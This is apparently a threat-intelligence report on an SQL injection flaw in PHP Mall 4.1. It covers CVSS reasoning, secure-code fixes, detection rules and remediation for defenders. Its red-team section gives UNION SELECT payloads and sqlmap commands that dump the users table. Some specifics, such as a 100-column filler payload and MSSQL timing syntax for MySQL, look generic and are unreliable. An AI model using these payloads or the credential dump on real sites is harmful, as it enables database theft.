CVE-2019-25540

Executive Summary

CVE-2019-25540 is a critical SQL injection vulnerability affecting Netartmedia PHP Mall 4.1, a PHP-based e-commerce application. This flaw allows unauthenticated attackers to inject arbitrary SQL commands into the application's database queries through multiple parameters. Successful exploitation can lead to the extraction of sensitive data, including user credentials, session tokens, and other system information. The vulnerability is publicly known, with proof-of-concept (PoC) code available, and no official patch has been released by the vendor. This report provides a comprehensive technical analysis, detection methods, and exploitation guidance for both Red and Blue teams.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application vulnerability.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the database are the same.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and can lead to complete database compromise.

Deep Dive & Mechanics

The vulnerability resides in the application's failure to properly sanitize user-supplied input before incorporating it into SQL queries. PHP Mall 4.1 uses multiple parameters across various pages (e.g., search, product listing, user profile) that are directly concatenated into SQL statements without parameterization or escaping.

Example vulnerable parameter: id, cat, search, page, etc.

Attack Vector:

1. An attacker identifies a parameter that is reflected in a SQL query (e.g., product.php?id=1).
2. The attacker injects a SQL payload, such as a single quote (') to break out of the string context.
3. The attacker appends malicious SQL commands (e.g., UNION SELECT, OR 1=1, WAITFOR DELAY).
4. The application executes the modified query, returning data or causing a time delay.

Example Payload:

product.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--

This payload attempts to union the original query with a crafted result set, allowing the attacker to extract data from other tables.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code pattern is shown below. A patched version would use prepared statements or parameterized queries.

Vulnerable Code (PHP):

<?php
$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = $id";
$result = mysqli_query($conn, $query);
?>

Patched Code (PHP - using prepared statements):

<?php
$id = $_GET['id'];
$stmt = $conn->prepare("SELECT * FROM products WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
?>

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Download PHP Mall 4.1 from a trusted archive (e.g., SourceForge, old versions repository).
2. Set up a LAMP/LEMP stack (Linux, Apache/Nginx, MySQL, PHP 5.x/7.x).
3. Install PHP Mall 4.1 and configure the database.
4. Ensure the application is accessible via a web browser.

Exploitation Steps:

1. Identify vulnerable parameters: Use a web proxy (Burp Suite, OWASP ZAP) to intercept requests and test parameters like id, cat, search.
2. Confirm SQL injection: Inject a single quote (') and observe an error message or unexpected behavior.
3. Extract database information:
   • Use UNION SELECT to retrieve data from information_schema.
   • Example: product.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--
4. Dump user credentials:
   • Identify the users table and extract username and password columns.
   • Example: product.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 FROM users--

Automated Exploitation (sqlmap):

sqlmap -u "http://target.com/product.php?id=1" --batch --dbs
sqlmap -u "http://target.com/product.php?id=1" -D phpmall --tables
sqlmap -u "http://target.com/product.php?id=1" -D phpmall -T users --dump

Blue Team (Defensive)

Detection & Response:

1. Monitor web server logs for unusual SQL keywords (UNION, SELECT, OR, AND, --, #, WAITFOR).
2. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Implement input validation on all user-supplied parameters (allow only expected characters).
4. Use parameterized queries in the application code.
5. Conduct regular vulnerability scans to identify SQL injection flaws.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing SQL keywords in GET/POST parameters (e.g., UNION SELECT, OR 1=1, WAITFOR DELAY).
  • Requests with a high number of numeric values in UNION SELECT payloads.
  • Requests to product.php, category.php, search.php with suspicious parameters.

• Host IOCs:

  • Unexpected database errors in application logs.
  • Unusual database queries in MySQL general log.
  • Presence of sqlmap or similar tools on the attacking host.

• File IOCs:

  • Modified PHP files containing backdoors (e.g., eval(), system() calls) if the attacker gained further access.

Detection Engineering

YARA Rule

rule CVE_2019_25540_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting PHP Mall 4.1"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2019-25540"
    strings:
        $s1 = "UNION SELECT" nocase
        $s2 = "OR 1=1" nocase
        $s3 = "WAITFOR DELAY" nocase
        $s4 = "information_schema" nocase
        $s5 = "product.php" nocase
        $s6 = "category.php" nocase
        $s7 = "search.php" nocase
    condition:
        any of ($s5, $s6, $s7) and any of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: SQL Injection Attempt Against PHP Mall 4.1
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts targeting PHP Mall 4.1
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-25540
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'UNION SELECT'
            - 'OR 1=1'
            - 'WAITFOR DELAY'
            - 'information_schema'
        cs-uri-stem|contains:
            - '/product.php'
            - '/category.php'
            - '/search.php'
    condition: selection
falsepositives:
    - Legitimate use of UNION in search queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25540 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"product.php"; http_uri; content:"UNION SELECT"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2019-25540 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"category.php"; http_uri; content:"OR 1=1"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2019-25540 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"search.php"; http_uri; content:"WAITFOR DELAY"; http_uri; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application from the internet if possible.
2. Apply a virtual patch using a WAF (e.g., ModSecurity with OWASP CRS).
3. Manually review and fix all SQL queries in the codebase to use prepared statements.
4. Disable error reporting in PHP to prevent information leakage.

Long-term Solutions:

1. Upgrade to a supported version of PHP Mall (if available) or migrate to a different e-commerce platform.
2. Implement a secure coding standard that mandates parameterized queries.
3. Conduct regular security audits and penetration testing.
4. Monitor for new CVEs related to PHP Mall and apply patches promptly.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert